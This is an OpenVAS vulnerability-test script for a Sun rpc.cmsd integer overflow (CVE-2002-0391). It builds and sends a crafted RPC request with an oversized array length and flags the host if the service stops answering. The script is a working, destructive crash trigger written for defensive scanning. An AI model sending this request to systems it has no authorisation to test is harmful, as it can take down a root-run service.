Sun rpc.cmsd overflow

2005-11-03T00:00:00
ID OPENVAS:11418
Type openvas
Reporter This script is Copyright (C) 2003 Xue Yong Zhi
Modified 2017-12-07T00:00:00

Description

The remote Sun rpc.cmsd has integer overflow problem in xdr_array. An attacker may use this flaw to execute arbitrary code on this host with the privileges rpc.cmsd is running as (typically, root), by sending a specially crafted request to this service.

                                        
                                            # OpenVAS Vulnerability Test
# $Id: rpc_cmsd_overflow.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: Sun rpc.cmsd overflow
#
# Authors:
# Xue Yong Zhi <xueyong@udel.edu>
#
# Copyright:
# Copyright (C) 2003 Xue Yong Zhi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
# This script was written by Xue Yong Zhi <xueyong@udel.edu>

tag_summary = "The remote Sun rpc.cmsd has integer overflow problem in xdr_array. An attacker 
may use this flaw to execute arbitrary code on this host with the privileges
rpc.cmsd is running as (typically, root), by sending a specially crafted 
request to this service.";

tag_solution = "We suggest that you disable this service and apply a new patch.";

# Data structure of cms_create_args(maybe wrong) 
# struct cms_pid_t {
#	long pid;
# };
# struct cms_create_args {
#	char *str1;
#	char *str2;
#	struct cms_pid_t mypid;
#	struct {
#		u_int myarray_len;
#		long *myarray_val;
#	} myarray;
# };
#
# Successfully tested against Solaris 8

if(description)
{
 script_id(11418);
 script_version("$Revision: 8023 $");
 script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_bugtraq_id(5356);
 script_tag(name:"cvss_base", value:"10.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_cve_id("CVE-2002-0391");
 name = "Sun rpc.cmsd overflow";
 script_name(name);




 script_category(ACT_DESTRUCTIVE_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul"); # rpc.cmsd is started from inetd


 script_copyright("This script is Copyright (C) 2003 Xue Yong Zhi");
 family = "RPC";
 script_family(family);
 script_dependencies("secpod_rpc_portmap.nasl");
 script_require_keys("rpc/portmap");
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

#
# The script code starts here
#


include("misc_func.inc");
include("nfs_func.inc");
include("byte_func.inc");

RPC_PROG = 100068;
tcp = 0;
port = get_rpc_port(program:RPC_PROG, protocol:IPPROTO_UDP);
if(!port){
	port = get_rpc_port(program:RPC_PROG, protocol:IPPROTO_TCP);
	tcp = 1;
}

if(port) {
	if(tcp) {
		soc = open_sock_tcp(port);
	} else {
		soc = open_sock_udp(port);
	}

	pad = padsz(len:strlen(this_host_name()));
	len = 20 + strlen(this_host_name()) + pad;

	# First, make sure there is a RPC service running behind, so
	# we send a bogus request to get an error back
	req1 = rpclong(val:rand()) +
		rpclong(val:0) +
		rpclong(val:2) +
		rpclong(val:100070) +
		rpclong(val:4) +
		rpclong(val:21);
		
	send(socket:soc, data:req1);
	r = recv(socket:soc, length:4096);
	close(soc);
	if(!r)exit(0);
	
	if(tcp) {
		soc = open_sock_tcp(port);
	} else {
		soc = open_sock_udp(port);
	}
	
	
	req = 	rpclong(val:rand()) +   	#unsigned int xid;
		rpclong(val:0) +      		#msg_type mtype case CALL(0):
		rpclong(val:2) +      		#unsigned int rpcvers;/* must be equal to two (2) */
		rpclong(val:100068) + 		#unsigned int prog(CMSD);
		rpclong(val:4) +      		#unsigned int vers(4);
		rpclong(val:21) +      		#unsigned int proc(rtable_create_4);
		rpclong(val:1) +      		#AUTH_UNIX
		rpclong(val:len) +    		#len
		rpclong(val:rand()) + 		#stamp
		rpclong(val:strlen(this_host_name())) + #length
		this_host_name() +            	#contents(Machine name)
		rpcpad(pad:pad) +     		#fill bytes
		rpclong(val:0)  +     		#uid
		rpclong(val:0)  +     		#gid
		rpclong(val:0)  +     		#auxiliary gids
		rpclong(val:0)  +     		#AUTH_NULL
		rpclong(val:0)  +		#len
		rpclong(val:1)  +		#strlen of str1
		rpclong(val:67)  +		#str1
		rpclong(val:1)  +		#strlen of str2
		rpclong(val:67)  +		#str2
		rpclong(val:0)  + 		#pid
		rpclong(val:1073741825) +	#array size
		rpclong(val:0)  +		#content of array(this one and below)
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0);

	send(socket:soc, data:req);
	r = recv(socket:soc, length:4096);
	if(!r) {
		security_message(port);
	}
}